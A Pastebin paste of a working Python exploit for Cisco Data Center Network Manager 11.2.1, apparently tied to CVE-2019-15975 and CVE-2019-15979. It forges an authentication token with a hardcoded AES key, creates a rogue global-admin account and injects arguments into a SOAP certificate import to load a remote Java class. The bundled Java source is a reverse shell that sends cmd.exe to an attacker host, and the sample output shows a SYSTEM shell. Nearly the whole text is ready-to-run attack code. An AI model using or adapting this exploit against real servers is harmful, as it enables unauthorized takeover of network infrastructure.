SHARE
TWEET

Untitled

a guest Feb 25th, 2020 97 Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. #!/usr/bin/python
  2. """
  3. Cisco Data Center Network Manager SanWS importTS Command Injection Remote Code Execution Vulnerability
  4.  
  5. Tested on: Cisco DCNM 11.2.1 Installer for Windows (64-bit)
  6. - Release: 11.2(1)
  7. - Release Date: 18-Jun-2019
  8. - FileName: dcnm-installer-x64-windows.11.2.1.exe.zip
  9. - Size: 1619.36 MB (1698022100 bytes)
  10. - MD5 Checksum: e50f8a6b2b3b014ec022fe40fabcb6d5
  11.  
  12. Bug 1: CVE-2019-15975 / ZDI-20-003
  13. Bug 2: CVE-2019-15979 / ZDI-20-100
  14.  
  15. Notes:
  16. ======
  17.  
  18. Si.java needs to be compiled against Java 8 (the target used 1.8u201):
  19.  
  20. import java.io.IOException;
  21. import java.io.InputStream;
  22. import java.io.OutputStream;
  23. import java.net.Socket;
  24.  
  25. public class Si {
  26.     static{
  27.         try {
  28.             String host = "192.168.100.159";
  29.             int port = 1337;
  30.             String cmd = "cmd.exe";
  31.             Process p = new ProcessBuilder(cmd).redirectErrorStream(true).start();
  32.             Socket s = new Socket(host,port);
  33.             InputStream pi = p.getInputStream(), pe = p.getErrorStream(), si = s.getInputStream();
  34.             OutputStream po = p.getOutputStream(), so = s.getOutputStream();
  35.             while(!s.isClosed()){
  36.                 while(pi.available()>0){
  37.                     so.write(pi.read());
  38.                 }
  39.                 while(pe.available()>0){
  40.                     so.write(pe.read());
  41.                 }
  42.                 while(si.available()>0){
  43.                     po.write(si.read());
  44.                 }
  45.                 so.flush();
  46.                 po.flush();
  47.                 Thread.sleep(50);
  48.                 try {
  49.                     p.exitValue();
  50.                     break;
  51.                 }catch (Exception e){}
  52.             }
  53.             p.destroy();
  54.             s.close();
  55.         }catch (IOException | InterruptedException e){ }
  56.     }
  57. }
  58.  
  59. Example:
  60. ========
  61.  
  62. 1. Modify the above Si.java to contain your connectback ip and port
  63. 2. Compile the above Si.java class with Java 8 and store it in an attacker controlled share
  64. 3. Launch the poc.py against your target using the share
  65.  
  66. saturn:~ mr_me$ ./poc.py
  67. (+) usage: ./poc.py <target> <connectback:port> <smbserver> <smbpath>
  68. (+) eg: ./poc.py 192.168.100.122 192.168.100.159:1337 vmware-host '\Shared Folders\tools'
  69.  
  70. saturn:~ mr_me$ ./poc.py 192.168.100.122 192.168.100.159:1337 vmware-host '\Shared Folders\tools'
  71. (+) attempting auth bypass 1
  72. (+) bypassed auth! added a global admin hacker:Hacked123
  73. (+) attempting to load class from \\vmware-host\Shared Folders\tools\Si.class
  74. (+) starting handler on port 1337
  75. (+) connection from 192.168.100.122
  76. (+) pop thy shell!
  77. Microsoft Windows [Version 6.3.9600]
  78. (c) 2013 Microsoft Corporation. All rights reserved.
  79.  
  80. C:\Program Files\Cisco Systems\dcm\wildfly-10.1.0.Final\bin\service>whoami
  81. whoami
  82. nt authority\system
  83.  
  84. C:\Program Files\Cisco Systems\dcm\wildfly-10.1.0.Final\bin\service>
  85. """
  86.  
  87. import re
  88. import os
  89. import sys
  90. import time
  91. import base64
  92. import socket
  93. import requests
  94. import calendar
  95. import telnetlib
  96. from uuid import uuid4
  97. from threading import Thread
  98. from Crypto.Cipher import AES
  99. from xml.etree import ElementTree
  100. from datetime import datetime, timedelta
  101. from requests.packages.urllib3.exceptions import InsecureRequestWarning
  102. requests.packages.urllib3.disable_warnings(InsecureRequestWarning)
  103.  
  104. class AESCipher:
  105.     def __init__(self):
  106.  
  107.         # Cisco's hardcoded key
  108.         self.key = "s91zEQmb305F!90a"
  109.         self.bs = 16
  110.  
  111.     def _pad(self, s):
  112.         return s + (self.bs - len(s) % self.bs) * chr(self.bs - len(s) % self.bs)
  113.  
  114.     def encrypt(self, raw):
  115.         raw = self._pad(raw)
  116.         iv = "\x00" * 0x10
  117.         cipher = AES.new(self.key, AES.MODE_CBC, iv)
  118.         return base64.b64encode(cipher.encrypt(raw))
  119.  
  120. def make_raw_token(target):
  121.     """ craft our token """
  122.     key = "Source Incite"
  123.     uuid = str(uuid4()).replace("-","")[0:20]
  124.     time = leak_time(target)
  125.     return "%s-%s-%s" % (key, uuid, time)
  126.  
  127. def bypass_auth(target, token, usr, pwd):
  128.     """ we use this primitive to fully bypass auth """
  129.     global user_added_already
  130.     d = {
  131.         "userName" : usr,
  132.         "password" : pwd,
  133.         "roleName" : "global-admin"
  134.     }
  135.     h = { "afw-token" : token }
  136.     uri = "https://%s/fm/fmrest/dbadmin/addUser" % target
  137.     r = requests.post(uri, data=d, headers=h, verify=False)
  138.     try:
  139.         json = r.json()
  140.     except ValueError:
  141.         return False
  142.     if json["resultMessage"] == "Success":
  143.         user_added_already = False
  144.         return True
  145.     elif json["resultMessage"] == "User already exists.":
  146.         user_added_already = True
  147.         return True
  148.     return False
  149.  
  150. def leak_time(target):
  151.     """ leak the time from the server (not really needed) """
  152.     uri = "https://%s/" % target
  153.     r = requests.get(uri, verify=False)
  154.     r_time = datetime.strptime(r.headers['Date'][:-4], '%a, %d %b %Y %H:%M:%S')
  155.     return calendar.timegm(r_time.timetuple())
  156.  
  157. def gen_token(target, usr, pwd):
  158.     """ this authenticates via the SOAP endpoint """
  159.     soap_body  = '<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:ep="http://ep.jaxws.dcbu.cisco.com/">'
  160.     soap_body += '\t<soapenv:Header/>'
  161.     soap_body += '\t<soapenv:Body>'
  162.     soap_body += '\t\t<ep:requestToken>'
  163.     soap_body += '\t\t\t<username>%s</username>' % usr
  164.     soap_body += '\t\t\t<password>%s</password>' % pwd
  165.     soap_body += '\t\t\t<expiration>100000</expiration>'
  166.     soap_body += '\t\t</ep:requestToken>'
  167.     soap_body += '\t</soapenv:Body>'
  168.     soap_body += '</soapenv:Envelope>'
  169.     uri = "https://%s/LogonWSService/LogonWS" % target
  170.     r = requests.post(uri, data=soap_body, verify=False)
  171.     tree = ElementTree.fromstring(r.content)
  172.     for elem in tree.iter():
  173.         if elem.tag == "return":
  174.             return elem.text
  175.     return False
  176.  
  177. def craft_soap_header(target, usr, pwd):
  178.     """ this generates the soap header """
  179.     soap_header  = '\t<SOAP-ENV:Header xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance">'
  180.     soap_header += '<m:token xmlns:m="http://ep.jaxws.dcbu.cisco.com/">%s</m:token>' % gen_token(target, usr, pwd)
  181.     soap_header += '\t</SOAP-ENV:Header>'
  182.     return soap_header
  183.  
  184. def load_remote_class(target, smb, usr, pwd):
  185.     """ this triggers the cmdi """
  186.     soap_body  = '<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:ep="http://ep.san.jaxws.dcbu.cisco.com/">'
  187.     soap_body += craft_soap_header(target, usr, pwd)
  188.     soap_body += '\t<soapenv:Body>'
  189.     soap_body += '\t\t<ep:importTS>'
  190.     soap_body += '\t\t\t<certFile>" -providerclass Si -providerpath "%s</certFile>' % smb
  191.     soap_body += '\t\t\t<serverIPAddress></serverIPAddress>'
  192.     soap_body += '\t\t</ep:importTS>'
  193.     soap_body += '\t</soapenv:Body>'
  194.     soap_body += '</soapenv:Envelope>'
  195.     uri = "https://%s/SanWSService/SanWS" % target
  196.     r = requests.post(uri, data=soap_body, verify=False)
  197.     tree = ElementTree.fromstring(r.content)
  198.     for elem in tree.iter():
  199.         if elem.tag == "resultMessage":
  200.             if elem.text == "Success":
  201.                 return True
  202.     return False
  203.  
  204. def handler(lp):
  205.     print "(+) starting handler on port %d" % lp
  206.     t = telnetlib.Telnet()
  207.     s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
  208.     s.bind(("0.0.0.0", lp))
  209.     s.listen(1)
  210.     conn, addr = s.accept()
  211.     print  "(+) connection from %s" % addr[0]
  212.     t.sock = conn
  213.     print "(+) pop thy shell!"
  214.     t.interact()
  215.  
  216. def exec_code(t, lp, s, usr, pwd):
  217.     handlerthr = Thread(target=handler, args=(lp,))
  218.     handlerthr.start()
  219.     load_remote_class(t, s, usr, pwd)
  220.  
  221. def main():
  222.     usr = "hacker"
  223.     pwd = "Hacked123"
  224.     if len(sys.argv) != 5:
  225.         print "(+) usage: %s <target> <connectback:port> <smbserver> <smbpath>" % sys.argv[0]
  226.         print "(+) eg: %s 192.168.100.122 192.168.100.159:1337 vmware-host '\\Shared Folders\\tools'" % sys.argv[0]
  227.         sys.exit(1)
  228.     t = sys.argv[1]
  229.     c = sys.argv[2]
  230.     s = "\\\\%s%s" % (sys.argv[3], sys.argv[4])
  231.     i = 0
  232.  
  233.     if not ":" in c:
  234.         print "(+) using default connectback port 4444"
  235.         ls = c
  236.         lp = 4444
  237.     else:
  238.         if not c.split(":")[1].isdigit():
  239.             print "(-) %s is not a port number!" % cb.split(":")[1]
  240.             sys.exit(-1)
  241.         ls = c.split(":")[0]
  242.         lp = int(c.split(":")[1])
  243.  
  244.     # InheritableThreadLocal.childValue performs a 'shallow copy' and causes a small race condition
  245.     while 1:
  246.         i += 1
  247.         print "(+) attempting auth bypass %d" % i
  248.         raw = make_raw_token(t)
  249.         cryptor = AESCipher()
  250.         token = cryptor.encrypt(raw)
  251.         if bypass_auth(t, token, usr, pwd):
  252.             if not user_added_already:
  253.                 print "(+) bypassed auth! added a global admin %s:%s" % (usr, pwd)
  254.             else:
  255.                 print "(+) we probably already bypassed auth! try the account %s:%s" % (usr, pwd)
  256.             break
  257.         sys.stdout.write('\x1b[1A')
  258.         sys.stdout.write('\x1b[2K')
  259.  
  260.     # we have bypassed the authentication at this point
  261.     print "(+) attempting to load class from %s\\Si.class" % s
  262.     exec_code(t, lp, s, usr, pwd)
  263.  
  264. if __name__ == "__main__":
  265.     main()
RAW Paste Data
We use cookies for various purposes including analytics. By continuing to use Pastebin, you agree to our use of cookies as described in the Cookies Policy. OK, I Understand
Top